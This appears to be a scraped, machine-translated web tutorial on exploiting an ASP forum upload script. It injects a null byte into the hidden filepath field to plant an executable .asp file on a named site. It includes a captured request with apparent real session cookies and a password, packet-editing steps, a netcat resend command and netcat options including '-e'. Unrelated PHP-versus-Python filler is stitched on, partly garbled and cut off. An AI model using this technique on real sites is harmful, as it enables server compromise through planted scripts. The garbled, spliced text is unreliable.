PHP/ASP upload vulnerability exploration_PHP tutorial
1: The principle of exploiting the vulnerability is only for asp and php scripts uploaded in form format*** nc (netcat) is used to submit data packages and run under the dos interface: nc -vv www.***.com 802: Vulnerability Principle The following example assumes that www host: www.***.com; bbs path: /bbs/ The vulnerability originates from the research on files uploaded to Dongwang. It is recommended that those with certain programming experience take a look at the upfile.asp file of dvbbs. It is not necessary to understand everything. Upfile is uploaded by generating a form. The variables used are as follows: filepath default value uploadface attribute hidden act default value upload attribute hidden file1 is the file you want to transfer. The key is the filepath variable! By default we Upload the file to www.***.com/bbs/uploadface/ The file is named after your upload time, which is the sentence filename=formpath&year(now)&month(now)&day(now)&hour(now) in upfile &minute(now)&second(now)&rannum&"."&fileext ------------------------------------- - We know that the data in the computer is "". Anyone who has used the C language knows that char data[]="bbs" The length of this data array is 4: b b s What will happen if we construct the filepath as follows? filepath= "/newmm.asp" The file we uploaded on 2004.09.24.08.24 will change and remain unchanged: _blank>http://www.***.com/bbs/uploadface/200409240824.jpg Use the filepath we constructed When: _blank>http://www.***.com/newmm.asp/200409240824.jpg In this way, when the server receives the filepath data, it detects what follows newmm.asp and understands that the filepath data is over. In this way, we upload Files, such as c:.asp, are saved as: _blank>http://www.***.com/newmm.asp 3: After the vulnerability was announced, many websites have done corresponding processing, but for filepath filtering and There are many websites that just add n variables with hidden attributes to deal with the upfile.exe published online, which is the upload vulnerability exploit tool or the filepath variable exploit tool (veteran's)... but the most basic ones have not been changed. . And there are similar vulnerabilities in the plug-ins of the website. What I want to say is not to rely on any special tools. Change the filepath variable in the package captured by wse yourself, and then submit it with nc. . . Even if he adds n hidden variables, it won't help. Of course, if filepath is strictly filtered, these theories of ours will come to an end, which is when our new theory will be born! 4: Detailed examples: ---------------- ----- 1. WSE packet capture result (save in 1.txt): post /bbs/upphoto/upfile.asp http/1.1 accept: image/gif, image/x-xbitmap, image/jpeg, image/ pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* referer: _blank>http://www.xin126.com/bbs/upphoto /upload.asp accept-language: zh-cn content-type: multipart/form-data; boundary=-----------7d423a138d0278 accept-encoding: gzip, deflate user-agent: mozilla/4.0 ( compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322) host: _blank>www.xin126.com content-length: 1969 connection: keep-alive cache-control: no-cache cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome= 1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84 --- --------------------------7d423a138d0278 content-disposition: form-data; name="filepath" ../medias/myphoto/ --- -----------------------------7d423a138d0278 ... ... Upload---------------7d423a138d0278 ------------------ 2. Open 1.txt with ultraedit and change the data: ...... ------------------ ------------7d423a138d0278 content-disposition: form-data; name="filepath" /newmm.asp█ www.xin126.com 80 16-bit representation: 0x00 or 00h In fact, when you change it, just add a 00 at the end of the filepath and it will be ok. Calculate the cookie length ===> After you change the fillepath, it must be either + or - the length of the cookies has changed... host : _blank>www.xin126.com content-length: 1969 Our solution is to make filepath a constant. . .This method is currently the most effective (I think) 2. Strengthen the processing of . It turns out that when we read here, it ends. We continue to read straight to the beginning of the next variable, and the processing is ok. Attachment: NC Usage: Monitoring external hosts nc [-options] hostname port[s] [ports] ... listen to local host nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -g num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent , ports scanned -l listen mode, for inbound connects -l listen harder, re-listen on socket close -n numeric-only ip addresses, no dns -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer telnet negotiation -u udp mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-i/o mode [used for scanning ] port numbers can be individual or ranges: m-n [inclusive]

What’s still popular is the ease of use, flexibility and a strong ecosystem. 1) Ease of use and simple syntax make it the first choice for beginners. 2) Closely integrated with web development, excellent interaction with HTTP requests and database. 3) The huge ecosystem provides a wealth of tools and libraries. 4) Active community and open source nature adapts them to new needs and technology trends.

PHP and Python are both high-level programming languages that are widely used in web development, data processing and automation tasks. 1.PHP is often used to build dynamic websites and content management systems, while Python is often used to build web frameworks and data science. 2.PHP uses echo to output content, Python uses print. 3. Both support object-oriented programming, but the syntax and keywords are different. 4. PHP supports weak type conversion, while Python is more stringent. 5. PHP performance optimization includes using OPcache and asynchronous programming, while Python uses cProfile and asynchronous programming.

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP originated in 1994 and was developed by RasmusLerdorf. It was originally used to track website visitors and gradually evolved into a server-side scripting language and was widely used in web development. Python was developed by Guidovan Rossum in the late 1980s and was first released in 1991. It emphasizes code readability and simplicity, and is suitable for scientific computing, data analysis and other fields.

PHP is suitable for web development and rapid prototyping, and Python is suitable for data science and machine learning. 1.PHP is used for dynamic web development, with simple syntax and suitable for rapid development. 2. Python has concise syntax, is suitable for multiple fields, and has a strong library ecosystem.

PHP remains important in the modernization process because it supports a large number of websites and applications and adapts to development needs through frameworks. 1.PHP7 improves performance and introduces new features. 2. Modern frameworks such as Laravel, Symfony and CodeIgniter simplify development and improve code quality. 3. Performance optimization and best practices further improve application efficiency.

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values and handle functions that may return null values.


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